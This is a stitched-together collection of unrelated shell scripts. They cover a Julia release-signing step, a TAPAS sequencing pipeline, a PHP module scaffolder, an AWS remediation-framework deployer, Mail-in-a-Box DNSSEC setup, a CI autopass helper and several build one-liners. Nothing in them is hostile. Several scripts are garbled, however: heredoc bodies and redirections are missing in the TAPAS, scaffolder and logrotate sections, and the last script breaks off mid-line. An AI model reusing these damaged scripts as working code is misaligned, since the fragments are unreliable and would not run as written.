julia-$version* | grep -v -e sha256 -e md5 -e asc > julia-$version.sha256\nmd5sum julia-$version* | grep -v -e sha256 -e md5 -e asc > julia-$version.md5\n\ngpg -u julia --armor --detach-sig julia-$version-full.tar.gz\ngpg -u julia --armor --detach-sig julia-$version.tar.gz\ngpg -u julia --armor --detach-sig julia-$version-linux-x86_64.tar.gz\ngpg -u julia --armor --detach-sig julia-$version-linux-i686.tar.gz\ngpg -u julia --armor --detach-sig julia-$version-linux-arm.tar.gz\ngpg -u julia --armor --detach-sig julia-$version-linux-ppc64le.tar.gz\n\necho \"All files prepared. Attach julia-$version.tar.gz and julia-$version-full.tar.gz\"\necho \"to github releases, upload all binaries and checksums to julialang S3. Be sure\"\necho \"to set all S3 uploads to publicly readable, and replace $majmin-latest binaries.\"\n# TODO: also automate uploads via aws cli and github api?"} {"text": "mlell/tapas\n#!/bin/bash\n# This bash script summarises the pipeline which is outlined in the \n# manual\n\n# Stop if an error occurs or a variable is unknown\nset -ue\n\n# Variables\n# =========================================================================\n# \n# Folders\n# -------\n# \n# The paths here currently assume that this script lies in the manual/\n# folder of TAPAS and is executed there. You need to adapt the paths\n# if you execute this script from another location. \n#\n# The manual/ folder of TAPAS.\ntapasmanual=\".\"\n# The scripts/ folder of TAPAS.\ntapas=\"scripts\"\n# Where the results of this script are saved\noutputdir=\"tapas-example.out\"\n# Where the input data comes from\ninputdir=\"${tapasmanual}/input\"\n# Where the TAPAS scripts are saved\n\n# Input files\n# ------------\n#\n# Names of the used genomes\ng_names=(\"volpertinger\" \"retli\")\n# Paths to the used example genomes, without file extensions.\n# The .fasta and .fai-file (samtools index) files for the genome\n# must be present.\ndeclare -A g_paths\n# A heavily truncated cat genome.\ng_paths[volpertinger]=\"${inputdir}/genome/volpertinger\"\n# A heavily truncated R. etli genome. \ng_paths[retli]=\"${inputdir}/retli/retli_tr\"\n\n\n# Preparations\n# =========================================================================\n#\n# Create the output folder\nmkdir \"$outputdir\"\n\n# Check if the paths are correct\nif [ ! -f \"${tapasmanual}/gen-html.sh\" ]; then\n cat >&2 <\"${outputdir}/mut.tab\" < \"${outputdir}/volpertinger.mut.nucl\"\n\n# Merge the reads from the different genomes\n# ========================================================================\n\n# bash expands dir/{file1,file2} to dir/file1 dir/file2.\n# {...} must be outside of \"...\" like below, else it will be taken as-is.\ncat \"${outputdir}\"/{volpertinger.mut,retli}.nucl > \"${outputdir}/all.nucl\"\ncat \"${outputdir}\"/{volpertinger,retli}.coord > \"${outputdir}/all.coord\"\n\n# Create the FASTQ file of the synthetic reads\n# ========================================================================\n# The three arguments are the sources for (i) nucleotides (ii) quality\n# strings, (iii) read names. Google \"bash process substitution if you're\n# not familiar with what \"<(...)\" means.\n\"${tapas}\"/synth_fastq \\\n \"${outputdir}/all.nucl\" \\\n <(sed 's/./F/g' \"${outputdir}/all.nucl\") \\\n <(awk '(NR>1){print $1}' \"${outputdir}/all.coord\") \\\n > \"${outputdir}/all.fastq\"\n\n\n# Set the parameters to test\n# ========================================================================\n#\n# This code generates a table which contains the parameters for each\n# mapping run to be performed. Later, the suitability of the chosen\n# parameter values is judged based on the outcomes of these mapping runs. \n# The <(...) parts generate the *.par files mentioned in the manual and \n# input them into the cross_tab tool in one step. Exectute one of\n# the contents of `printf ...` by itself to see that it generates a file\n# like shown in the manual (*.par). Finally, an index column called \n# `runidx` is prepended to the result. This column is used for output file\n# naming. \n\n\"${tapas}\"/cross_tab --head 1 \\\n <(printf \"%s\\n\" k 2 10) \\\n <(printf \"%s\\n\" n 0 4 8) \\\n | \"${tapas}\"/index_column --colname runidx \\\n > \"${outputdir}/partab\"\n\n# Set the needed steps perform a mapping\n# ========================================================================\n#\n# Write a file which will be executed later for each parameter combination.\n# It contains the mapper name and how to call it to perform the mapping. \n# This design ensures TAPAS can be used with every mapper. \n# \n# The ${...} strings will be replaced by arguments to the short read mapper.\n# Some are variable, in this case ${n} and ${k}. They are determined by the\n# file `partab` from the previous step. Some are constant, like\n# ${reference}, the path to the reference genome, or ${reads}, the path to\n# the read FASTQ file. The values of these variables will be determined in \n# the step following this step.\n# \n# Technical node: Here <<'EOF' must be used instead of < \"${outputdir}/map.sh\" << 'EOF' \n#!/bin/bash\n\n# Security measure: Stop if one of the needed parameter\n# values is not present (wrong commands used by the user)\nset -ue\n\n# All error messages will be written here\nexec 2> \"${outputdir}/map-${runidx}.log\"\n\nbwa aln -n \"${n}\" -k \"${k}\" \\\n \"${reference}\" \\\n \"${reads}\" \\\n > \"${outputdir}/${runidx}.sai\"\n\nbwa samse \\\n \"${reference}\" \\\n \"${outputdir}/${runidx}.sai\" \\\n \"${reads}\" \\\n > \"${outputdir}/${runidx}.sam\"\nEOF\nchmod u+x \"${outputdir}/map.sh\" # make the script executable\n\n# Perform the mapping runs\n# ========================================================================\n# \n# table2calls uses the table of parameter combinations to generate \n# programm calls to start the mapping via the script shown in the previous\n# section. mcall then executes several of the calls in parallel, starting\n# several mapping processes in parallel.\n# All of the variables ${...} used in the script in the previous section \n# must either be present in the file partab (generated in the section before\n# the previous section) or be set to a constant value using the --const \n# option.\n\"${tapas}\"/table2calls \\\n --const reference \"${g_paths[volpertinger]}\" \\\n --const reads \"${outputdir}/all.fastq\" \\\n --const outputdir \"${outputdir}\" \\\n \"${outputdir}/partab\" \\\n \"${outputdir}/map.sh\" \\\n | \"${tapas}\"/mcall -t 4 --status\n\n\n# Define the analysis steps for a SAM file\n# =========================================================================\n# The following analysis steps need to be performed for each resulting\n# SAM file. Therefore they are first defined in a function, and later\n# called for every sam file\nfunction analyseSAM(){\n sam=\"$1\"\n # Get the SAM file name without the extension .sam: \"4.sam\" -> \"4\"\n p=${sam%.sam}\n\n # Convert SAM to text table\n \"${tapas}\"/sam2table \"${sam}\" > \"${p}.tab\"\n\n # Look up the true origin genomes and locations of the reads\n \"${tapas}\"/add_mapped_organisms \\\n --endogenous volpertinger \\\n \"${g_paths[volpertinger]}.fasta.fai\" \\\n \"${outputdir}/volpertinger.coord\" \\\n --exogenous retli \\\n \"${g_paths[retli]}/.fasta.fai\" \\\n \"${outputdir}/retli.coord\" \\\n \"${p}.tab\" \\\n | \"${tapas}\"/write_later \"${p}.tab\"\n\n\n # Determine whether each read was correctly mapped\n \"${tapas}\"/pocketR '\n within(input, {\n correct =\n mapped_pos == true_start &\n mapped_rname == true_record &\n mapped_organism == true_organism })\n ' \"${p}.tab\" \\\n | \"${tapas}\"/write_later \"${p}.tab\"\n\n # Count reads per origin/target organism and mapping status\n \"${tapas}\"/pocketR '\n aggregate( cbind(count=qname) ~ true_organism + mapped_organism + correct,\n FUN=length, data=input) ' \\\n \"${p}.tab\" \\\n > \"${p}.agg\"\n\n # Plot mapping targets per origin organism\n \"${tapas}\"/plot_read_fate --exogenous retli \\\n --format png \\\n true_organism mapped_organism \\\n correct count \\\n \"${p}-fate.png\" \"${p}.agg\"\n\n # Calculate sensitivity, specificity and balanced accuracy\n \"${tapas}\"/sensspec --c-morg mapped_organism \\\n --c-torg true_organism \\\n \"${p}.agg\" volpertinger \\\n > \"${p}.performance\"\n\n echo \"$sam done. -> Generated ${p}.{tab,agg,png,performance}\"\n}\n\n# Execute the above steps for each generated sam file\nfor s in \"${outputdir}\"/*.sam; do\n analyseSAM \"${s}\"\ndone\n\necho \"Done. The output files can be found in $(readlink -f \"${outputdir}\").\""} {"text": "echo Wpisz sciezke modulu:\nread mod\necho Wpisz nazwe modułu:\nread name\necho \"#######################################\"\necho Tworzę foldery...\nsleep 2\n##############################################\nmkdir $mod/module/$name/\nmkdir $mod/module/$name/config/\nmkdir $mod/module/$name/src/\nmkdir $mod/module/$name/view/\nmkdir $mod/module/$name/src/Controller/\nmkdir $mod/module/$name/src/Form/\nmkdir $mod/module/$name/src/Model/\nname2=\"${name,,}\" #lowercase\nmkdir $mod/module/$name/view/$name2/\nmkdir $mod/module/$name/view/$name2/$name2\necho Foldery utworzone, tworzę Module.php...\nsleep 2\necho \"#######################################\"\n###############################################\n#touch $mod/module/$name/src/Module.php\necho -e \"> $mod/module/$name/src/Module.php\n###############################################\necho Module.php utworzony.\necho \"#######################################\"\necho \"Wykonaj w pliku composer.json:\n'autoload': {\n 'psr-4': {\n 'Application\\\\': 'module/Application/src/',\n ------->>\\\"$name\\\\\\\": \\\"module/$name/src/\\\"<<--------\n }\n},\"\necho Nacisnij enter jesli wykonałeś\nread\necho \"composer dump-autoload\"\ncomposer dump-autoload\nsleep 2\necho \"#######################################\"\necho Tworzę module.config.php...\nsleep 2\necho \" [\n 'factories' => [\n Controller\\\\${name}Controller::class => InvokableFactory::class,\n ],\n ],\n 'view_manager' => [\n 'template_path_stack' => [\n 'album' => __DIR__ . '/../view',\n ],\n ],\n];\" >> $mod/module/$name/config/module.config.php\necho module.config.php utworzony.\necho \"#######################################\"\necho Dodaj nazwę swojego modułu do config/modules.config.php\necho \"#######################################\""} {"text": "mvn install -N -DskipTests=true\nmvn clean compile -DskipTests=true\nmvn javadoc:jar source:jar package deploy -DskipTests=true"} {"text": "deploy.sh10-100\ngit subtree push --prefix public/ origin gh-pages"} {"text": "#!/bin/bash\n\nbundle exec jekyll clean\nbundle exec jekyll serve --incremental"} {"text": "0\n#!/bin/bash\nset -e\n\n# Enable/disable xdebug\nif [ \"$USE_XDEBUG\" = \"yes\" ]; then\n cp -n /usr/local/etc/php/xdebug.d/* /usr/local/etc/php/conf.d/\nelse\n find /usr/local/etc/php/conf.d -name '*xdebug*' -delete\nfi"} {"text": "1-10\n#!/bin/bash\n\n: '\n\n#SYNOPSIS\n Deployment of Remediation Framework.\n.DESCRIPTION\n This script will deploy all the services required for the remediation framework.\n\n.NOTES\n\n Copyright (c) Cloudneeti. All rights reserved.\n Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n Version: 2.3\n # PREREQUISITE\n - Install aws cli\n Link : https://docs.aws.amazon.com/cli/latest/userguide/install-linux-al2017.html\n - Install npm \n Installation commands: \n - sudo apt-get update\n - sudo apt-get install nodejs\n - sudo apt-get install npm\n - Install serverless\n Installation command:\n - sudo npm install -g serverless\n - Configure your aws account using the below command:\n aws configure\n Enter the required inputs:\n AWS Access Key ID: Access key of any admin user of the account in consideration.\n AWS Secret Access Key: Secret Access Key of any admin user of the account in consideration\n Default region name: AWS region name (eg: us-east-1)\n Default output format: json \n - Run this script in any bash shell (linux command prompt)\n.EXAMPLE\n Command to execute : bash deploy-remediation-framework.sh [-a <12-digit-account-id>] [-z <12-digit-zcspm-account-id>] [-p ] [-e ] [-v version] [-s ] [-g ]\" 1>&2; exit 1; }\nenv=\"dev\"\nversion=\"2.3\"\nsecondaryregions=('na')\nwhile getopts \"a:z:p:e:v:s:g:\" o; do\n case \"${o}\" in\n a)\n awsaccountid=${OPTARG}\n ;;\n z)\n zcspmawsaccountid=${OPTARG}\n ;;\n p)\n primaryregion=${OPTARG}\n ;;\n e)\n env=${OPTARG}\n ;;\n v)\n inputversion=${OPTARG}\n ;;\n s) \n secondaryregions=${OPTARG}\n ;;\n g) \n globalservices=${OPTARG}\n ;;\n *)\n usage\n ;;\n esac\ndone\nshift $((OPTIND-1))\n\nRED='\\033[1;31m'\nGREEN='\\033[1;32m'\nYELLOW='\\033[1;33m'\nNC='\\033[0m'\n\nvalid_values=( \"na\" \"us-east-1\" \"us-east-2\" \"us-west-1\" \"us-west-2\" \"ap-south-1\" \"ap-northeast-2\" \"ap-southeast-1\" \"ap-southeast-2\" \"ap-northeast-1\" \"ca-central-1\" \"eu-central-1\" \"eu-west-1\" \"eu-west-2\" \"eu-west-3\" \"eu-north-1\" \"sa-east-1\" \"ap-east-1\" )\n\n#validate aws account-id and region\nif [[ \"$awsaccountid\" == \"\" ]] || ! [[ \"$awsaccountid\" =~ ^[0-9]+$ ]] || [[ ${#awsaccountid} != 12 ]] || [[ $primaryregion == \"\" ]]; then\n echo -e \"${YELLOW}Entered AWS Account Id or the primary deployment region are invalid!!${NC}\"\n usage\nfi\n\necho \"Verifying if pre-requisites are set-up..\"\nsleep 5\nif [[ \"$(which serverless)\" != \"\" ]] && [[ \"$(which aws)\" != \"\" ]];then\n echo -e \"${GREEN}All pre-requisite packages are installed!!${NC}\"\nelse\n echo -e \"${RED}Package(s)/tool(s) mentioned as pre-requisites have not been correctly installed. Please verify the installation and try re-running the script.${NC}\"\n exit 1\nfi\n\n\necho \"Validating input parameters...\"\n\n# Validate global service integration\nif [[ -z \"$globalservices\" ]]; then\n read -p \"The AWS Global Services Auto Remediation integration is not selected [i.e. parameter (-g)]. This signifies that the auto remediation will not be enabled for AWS Global Services. Do you still want to continue? (Y/N): \" confirm && [[ $confirm == [yY] || $confirm == [yY][eE][sS] ]] || exit 1\n globalservices=\"No\"\nfi\nglobalservices=${globalservices,,}\n\necho\necho \"Validating framework version\"\n\nif [[ \"$inputversion\" != \"$version\" ]]; then\n echo -e \"${RED}Incorrect framework version provided. Current framework version is: $version${NC}\"\n exit 1\nfi\n\necho \"Framework version that will be deployed is: $version\"\n\necho\necho \"Verifying entered AWS Account Id(s) and region(s)...\"\n\nconfigured_account=\"$(aws sts get-caller-identity | jq '.Account')\"\n\nif [[ \"$configured_account\" != *\"$awsaccountid\"* ]];then\n echo -e \"${YELLOW}AWS CLI is configured for $configured_account whereas input AWS Account Id entered is $awsaccountid. Please ensure that CLI configuration and the input Account Id is for the same AWS Account.${NC}\"\n exit 1\nfi\n\n#Verify input for regional deployment\nif [[ $secondaryregions == \"na\" ]]; then\n valid_regions=${valid_values[0]}\nelif [[ $secondaryregions == \"all\" ]]; then\n valid_regions=(\"${valid_values[@]:1:15}\")\nelse\n valid_regions=\"${secondaryregions[@]}\"\nfi\n\nIFS=, read -a valid_regions <<<\"${valid_regions[@]}\"\nprintf -v ips ',\"%s\"' \"${valid_regions[@]}\"\nips=\"${ips:1}\"\nvalid_regions=($(echo \"${valid_regions[@]}\" | tr ' ' '\\n' | sort -u | tr '\\n' ' '))\n\n#Validating user input for custom regions \nsecondary_regions=()\nfor valid_val in \"${valid_values[@]}\"; do\n for valid_reg in \"${valid_regions[@]}\"; do\n if [[ $valid_val == $valid_reg ]]; then\n secondary_regions+=(\"$valid_val\")\n fi\n done\n if [[ $valid_val != \"na\" ]] && [[ $primaryregion == $valid_val ]]; then\n primary_deployment=$primaryregion\n fi\ndone\n\nif [[ \"$zcspmawsaccountid\" == \"\" ]] || [[ \"$zcspmawsaccountid\" == \"na\" ]]; then\n read -p \"The ZCSPM Account Id parameter (-z) was not passed as an input. This signifies that the remediation framework cannot be integrated with ZCSPM portal. Do you still want to continue? (Y/N): \" confirm && [[ $confirm == [yY] || $confirm == [yY][eE][sS] ]] || exit 1\n zcspmawsaccountid=$awsaccountid\nelse\n if [[ ${#zcspmawsaccountid} != 12 ]] || ! [[ \"$zcspmawsaccountid\" =~ ^[0-9]+$ ]]; then\n echo \"Entered ZCSPM AWS Account Id is invalid!!\"\n usage\n fi\nfi\n\necho \"Account and region validations complete. Entered AWS Account Id(s) and region(s) are in correct format.\"\n\n#Verify deployment of remediation framework\ncd remediation-functions/\n\nacc_sha=\"$(echo -n \"${awsaccountid}\" | md5sum | cut -d\" \" -f1)\"\nenv=\"$(echo \"$env\" | tr \"[:upper:]\" \"[:lower:]\")\"\n\necho \"Checking if the remediation framework already exists in the configured account.....\"\n\norches_role_det=\"$(aws iam get-role --role-name ZCSPM-Remediation-Invocation-Role 2>/dev/null)\"\norches_role=$?\n\nrem_role_det=\"$(aws iam get-role --role-name ZCSPM-Auto-Remediation-Role 2>/dev/null)\"\nRem_role=$?\n\ninvoker_role_det=\"$(aws iam get-role --role-name ZCSPM-AutoRem-InvokerFunction-Role 2>/dev/null)\"\ninvoker_role=$?\n\nCT_det=\"$(aws cloudtrail get-trail-status --name zcspm-remediation-trail --region $primary_deployment 2>/dev/null)\"\nCT_status=$?\n\ns3_detail=\"$(aws s3api get-bucket-versioning --bucket zcspm-rem-$env-$acc_sha 2>/dev/null)\"\ns3_status=$?\n\nrem_location=\"$(aws s3api get-bucket-location --bucket zcspm-rem-$env-$acc_sha --query 'LocationConstraint' 2>/dev/null)\"\nprimary_location=\"$(eval echo $rem_location)\"\n\n#Update existing remediation framework\nif [[ \"$orches_role\" -eq 0 ]] || [[ \"$Rem_role\" -eq 0 ]] || [[ \"$CT_status\" -eq 0 ]] || [[ \"$s3_status\" -eq 0 ]] || [[ \"$invoker_role\" -eq 0 ]]; then\n\techo \"Remediation components already exist. Attempting to redeploy framework with latest updates !\"\n if [[ \"$s3_status\" -eq 0 ]]; then\n if [[ $primary_location == $primary_deployment ]]; then\n echo \"Redeploying framework.....\"\n serverless deploy --env $env --accounthash $env-$acc_sha --aws-account-id $awsaccountid --zcspm-aws-account-id $zcspmawsaccountid --region $primary_deployment --remediationversion $version\n Lambda_det=\"$(aws lambda get-function --function-name zcspm-aws-remediate-orchestrator --region $primary_deployment 2>/dev/null)\"\n Lambda_status=$?\n\n if [[ $lambda_status -eq 0 ]]; then\n echo -e \"${GREEN}Successfully deployed remediation framework with latest updates!!${NC}\"\n else\n echo -e \"${RED}Something went wrong! Please contact ZCSPM support for more details${NC}\"\n fi\n else\n echo -e \"${RED}Remediation components already exist in $primary_location region. Please run deploy-remediation-framework.sh with primary region as $primary_location !${NC}\"\n exit 1\n fi\n else\n echo -e \"${RED}Remediation components already exist with a different environment prefix. Please run verify-remediation-setup.sh for more details !${NC}\"\n exit 1\n fi\nelse\n #Deploy framework from scratch\n echo \"Existing remediation setup not found. Deploying new setup for remediation framework....\"\n aws cloudformation deploy --template-file deployment-bucket.yml --stack-name zcspm-rem-$env-$acc_sha --parameter-overrides Stack=zcspm-rem-$env-$acc_sha awsaccountid=$awsaccountid region=$primary_deployment --region $primary_deployment --capabilities CAPABILITY_NAMED_IAM 2>/dev/null\n s3_status=$?\n if [[ \"$s3_status\" -eq 0 ]]; then\n serverless deploy --env $env --accounthash $env-$acc_sha --aws-account-id $awsaccountid --zcspm-aws-account-id $zcspmawsaccountid --region $primary_deployment --remediationversion $version\n lambda_status=$?\n\n #Enabling termination protection for stack(s)\n aws cloudformation update-termination-protection --enable-termination-protection --stack-name zcspm-rem-$env-$acc_sha --region $primary_deployment 2>/dev/null\n aws cloudformation update-termination-protection --enable-termination-protection --stack-name \"zcspm-rem-functions-$env-$acc_sha\" --region $primary_deployment 2>/dev/null\n else\n echo -e \"${RED}Something went wrong! Please contact ZCSPM support for more details${NC}\"\n exit 1\n fi\n echo -e \"${GREEN}Successfully deployed master remediation setup in region $primary_deployment of AWS account: $awsaccountid ${NC}\"\nfi\n\n#Regional deployments for framework\necho \"Configuring Regional Deployments....\"\ncd ..\n\nif [[ \"$secondary_regions\" != \"na\" ]] && [[ \"$s3_status\" -eq 0 ]]; then\n #Deploy Regional Stack\n for region in \"${secondary_regions[@]}\"; do\n if [[ \"$region\" != \"$primary_deployment\" ]]; then\n Lambda_det=\"$(aws lambda get-function --function-name zcspm-aws-auto-remediate-invoker --region $region 2>/dev/null)\"\n Lambda_status=$?\n\n Regional_stack=\"$(aws cloudformation describe-stacks --stack-name zcspm-rem-$env-$region-$acc_sha --region $region 2>/dev/null)\"\n Regional_stack_status=$?\n \n if [[ \"$Regional_stack_status\" -ne 0 ]] && [[ \"$Lambda_status\" -eq 0 ]]; then\n echo -e \"${YELLOW}Region $region is not configured because of existing resources, please delete them and redeploy framework to configure this region${NC}\"\n else\n aws cloudformation deploy --template-file deploy-invoker-function.yml --stack-name zcspm-rem-$env-$region-$acc_sha --region $region --parameter-overrides awsaccountid=$awsaccountid remediationregion=$primary_deployment --capabilities CAPABILITY_NAMED_IAM 2>/dev/null\n Regional_stack=\"$(aws cloudformation describe-stacks --stack-name zcspm-rem-$env-$region-$acc_sha --region $region 2>/dev/null)\"\n Regional_stack_status=$?\n\n if [[ \"$Regional_stack_status\" -eq 0 ]]; then\n echo -e \"${GREEN}Successfully configured region $region in remediation framework${NC}\"\n aws cloudformation update-termination-protection --enable-termination-protection --stack-name \"zcspm-rem-$env-$region-$acc_sha\" --region $region 2>/dev/null\n else\n echo -e \"${RED}Failed to configure region $region in remediation framework${NC}\"\n fi\n fi\n fi\n done\nelse\n echo \"Regional Deployments skipped with input na!..\"\nfi\n\n#Global services deployment\nif [[ \"$globalservices\" == \"yes\" ]] || [[ \"$globalservices\" == \"y\" ]]; then\n echo \"Deploying Global Services Auto remediation Template....\"\n aws cloudformation deploy --template-file deploy-global-services-invoker-function.yml --stack-name zcspm-rem-global-resources-$env-$acc_sha --parameter-overrides awsaccountid=$awsaccountid remediationregion=$primary_deployment --region \"us-east-1\" --capabilities CAPABILITY_NAMED_IAM 2>/dev/null\n\n sleep 5\n # Validate deployment\n Global_services_stack=\"$(aws cloudformation describe-stacks --stack-name zcspm-rem-global-resources-$env-$acc_sha --region \"us-east-1\" 2>/dev/null)\"\n Global_services_stack_status=$?\n \n if [[ \"$Global_services_stack_status\" -eq 0 ]]; then\n echo -e \"${GREEN}Successfully enabled autoremediation for global services${NC}\"\n aws cloudformation update-termination-protection --enable-termination-protection --stack-name \"zcspm-rem-global-resources-$env-$acc_sha\" --region \"us-east-1\" 2>/dev/null\n else\n echo -e \"${RED}Failed to configure auto remediation for global services${NC}\"\n fi\nelse\n echo -e \"${YELLOW}Global Services Autoremediation Support is Not Enabled!..${NC}\"\nfi\n\nif [[ $lambda_status -eq 0 ]]; then\n echo -e \"${GREEN}Successfully deployed remediation framework!!${NC}\"\nelse\n echo -e \"${RED}Something went wrong! Please contact ZCSPM support for more details${NC}\"\nfi"} {"text": "#!/bin/bash -e\n#\n# Travis CI script for GEOS build with GNU Autotools\n#\n# Copyright (C) 2013 <>\n#\n# This is free software; you can redistribute and/or modify it under\n# the terms of the GNU Lesser General Public Licence as published\n# by the Free Software Foundation. \n# See the COPYING file for more information.\n#\nsource ${TRAVIS_BUILD_DIR}/tools/ci/common.sh\n\ncd ${TRAVIS_BUILD_DIR}\n./autogen.sh\ncd -\n${TRAVIS_BUILD_DIR}/configure\nrun_make\nrun_test"} {"text": "#!/bin/sh -eux\n\ncurl -X POST --data-urlencode \"markdown=$(cat README.md)\" --data-urlencode \"css=h1 { color: blue; }\" --output README.pdf localhost:8000"} {"text": "chrisgit/go-conditionalcompile\n# might not need sudo here if you run this as privileged in Vagrantfile\nsudo apt-get update\nsudo apt-get install golang-go -y\n\n# Session, could have set in Vagrant file with \n# config.vm.provision \"shell\", path: \"install_go.sh\", env: {\"GOPATH\" => \"/opt/go\"}\nexport PATH=$PATH:/usr/local/go/bin\nexport GOPATH=/opt/go\n\n# Persist for vagrant user\necho \"export GOPATH=/opt/go\" >> /home/vagrant/.profile\n\n# Install git\nsudo apt-get install git -y\n\ngo get golang.org/x/tools/cmd/godoc\ngo get golang.org/x/tools/cmd/vet\ngo get github.com/golang/lint/golint\n\nmkdir /opt/go/bin\nmkdir /opt/go/pkg\n# mkdir /opt/go/src\n\n# Install delve\ngo get github.com/derekparker/delve/cmd/dlv\n\n# Install Ginkgo\ngo get github.com/onsi/ginkgo/ginkgo\n\n# Install Gomega\ngo get github.com/onsi/gomega"} {"text": "firebird42/power-mailinabox-sogo10-100\n#!/bin/bash\n# DNS\n# -----------------------------------------------\n\n# This script installs packages, but the DNS zone files are only\n# created by the /dns/update API in the management server because\n# the set of zones (domains) hosted by the server depends on the\n# mail users & aliases created by the user later.\n\nsource setup/functions.sh # load our functions\nsource /etc/mailinabox.conf # load global vars\n\n# Install the packages.\n#\n# * nsd: The non-recursive nameserver that publishes our DNS records.\n# * ldnsutils: Helper utilities for signing DNSSEC zones.\n# * openssh-client: Provides ssh-keyscan which we use to create SSHFP records.\necho \"Installing nsd (DNS server)...\"\napt_install ldnsutils openssh-client\n\n# Prepare nsd's configuration.\n\nmkdir -p /var/run/nsd\nmkdir -p /etc/nsd\nmkdir -p /etc/nsd/zones\ntouch /etc/nsd/zones.conf\ntouch /etc/nsd/nsd.conf\n\ncat > /etc/nsd/nsd.conf << EOF;\n# Do not edit. Overwritten by Mail-in-a-Box setup.\nserver:\n hide-version: yes\n logfile: \"/var/log/nsd.log\"\n\n # identify the server (CH TXT ID.SERVER entry).\n identity: \"\"\n\n # The directory for zonefile: files.\n zonesdir: \"/etc/nsd/zones\"\n\n # Allows NSD to bind to IP addresses that are not (yet) added to the\n # network interface. This allows nsd to start even if the network stack\n # isn't fully ready, which apparently happens in some cases.\n # See https://www.nlnetlabs.nl/projects/nsd/nsd.conf.5.html.\n ip-transparent: yes\n\nEOF\n\n# Add log rotation\ncat > /etc/logrotate.d/nsd <> /etc/nsd/nsd.conf;\ndone\n\n# Create a directory for additional configuration directives, including\n# the zones.conf file written out by our management daemon.\necho \"include: /etc/nsd/nsd.conf.d/*.conf\" >> /etc/nsd/nsd.conf;\n\n# Remove the old location of zones.conf that we generate. It will\n# now be stored in /etc/nsd/nsd.conf.d.\nrm -f /etc/nsd/zones.conf\n\n# Attempting a late install of nsd (after configuration)\napt_install nsd\n\n# Create DNSSEC signing keys.\n\nmkdir -p \"$STORAGE_ROOT/dns/dnssec\";\n\n# TLDs, registrars, and validating nameservers don't all support the same algorithms,\n# so we'll generate keys using a few different algorithms so that dns_update.py can\n# choose which algorithm to use when generating the zonefiles. See #1953 for recent\n# discussion. File for previously used algorithms (i.e. RSASHA1-NSEC3-SHA1) may still\n# be in the output directory, and we'll continue to support signing zones with them\n# so that trust isn't broken with deployed DS records, but we won't generate those\n# keys on new systems.\nFIRST=1 #NODOC\nfor algo in RSASHA256 ECDSAP256SHA256; do\nif [ ! -f \"$STORAGE_ROOT/dns/dnssec/$algo.conf\" ]; then\n\tif [ $FIRST == 1 ]; then\n\t\techo \"Generating DNSSEC signing keys...\"\n\t\tFIRST=0 #NODOC\n\tfi\n\n\t# Create the Key-Signing Key (KSK) (with `-k`) which is the so-called\n\t# Secure Entry Point. The domain name we provide (\"_domain_\") doesn't\n\t# matter -- we'll use the same keys for all our domains.\n\t#\n\t# `ldns-keygen` outputs the new key's filename to stdout, which\n\t# we're capturing into the `KSK` variable.\n\t#\n\t# ldns-keygen uses /dev/random for generating random numbers by default.\n\t# This is slow and unecessary if we ensure /dev/urandom is seeded properly,\n\t# so we use /dev/urandom. See system.sh for an explanation. See #596, #115.\n\t# (This previously used -b 2048 but it's unclear if this setting makes sense\n\t# for non-RSA keys, so it's removed. The RSA-based keys are not recommended\n\t# anymore anyway.)\n\tKSK=$(umask 077; cd $STORAGE_ROOT/dns/dnssec; ldns-keygen -r /dev/urandom -a $algo -k _domain_);\n\n\t# Now create a Zone-Signing Key (ZSK) which is expected to be\n\t# rotated more often than a KSK, although we have no plans to\n\t# rotate it (and doing so would be difficult to do without\n\t# disturbing DNS availability.) Omit `-k`.\n\t# (This previously used -b 1024 but it's unclear if this setting makes sense\n\t# for non-RSA keys, so it's removed.)\n\tZSK=$(umask 077; cd $STORAGE_ROOT/dns/dnssec; ldns-keygen -r /dev/urandom -a $algo _domain_);\n\n\t# These generate two sets of files like:\n\t#\n\t# * `K_domain_.+007+08882.ds`: DS record normally provided to domain name registrar (but it's actually invalid with `_domain_` so we don't use this file)\n\t# * `K_domain_.+007+08882.key`: public key\n\t# * `K_domain_.+007+08882.private`: private key (secret!)\n\n\t# The filenames are unpredictable and encode the key generation\n\t# options. So we'll store the names of the files we just generated.\n\t# We might have multiple keys down the road. This will identify\n\t# what keys are the current keys.\n\tcat > $STORAGE_ROOT/dns/dnssec/$algo.conf << EOF;\nKSK=$KSK\nZSK=$ZSK\nEOF\nfi\n\n\t# And loop to do the next algorithm...\ndone\n\n# Force the dns_update script to be run every day to re-sign zones for DNSSEC\n# before they expire. When we sign zones (in `dns_update.py`) we specify a\n# 30-day validation window, so we had better re-sign before then.\ncat > /etc/cron.daily/mailinabox-dnssec << EOF;\n#!/bin/bash\n# Mail-in-a-Box\n# Re-sign any DNS zones with DNSSEC because the signatures expire periodically.\n$(pwd)/tools/dns_update\nEOF\nchmod +x /etc/cron.daily/mailinabox-dnssec\n\n# Permit DNS queries on TCP/UDP in the firewall.\n\nufw_allow domain"} {"text": "# This file will selectively autopass some commits.\n\n# At present bumps to the GUI only are auto passed.\n\n. chroma-manager/tests/framework/utils/gui_update.sh\n. chroma-manager/tests/framework/utils/fake_pass.sh\n\ncheck_for_autopass() {\n # currently defined tests:\n # integration-tests-shared-storage-configuration-with-simulator\n # integration-tests-existing-filesystem-configuration\n # integration-tests-shared-storage-configuration\n # test-services\n # upgrade-tests\n # unit-tests\n # vvvvvvvvvvv this should come from a pragma in the commit message\n ALL_TESTS=\"integration-tests-existing-filesystem-configuration\n integration-tests-shared-storage-configuration\n integration-tests-shared-storage-configuration-with-simulator\n test-services\n unit-tests\n upgrade-tests\"\n commit_message=$(git log -n 1)\n TESTS_TO_RUN=$(echo \"$commit_message\" | sed -ne '/^ *Run-tests:/s/^ *Run-tests: 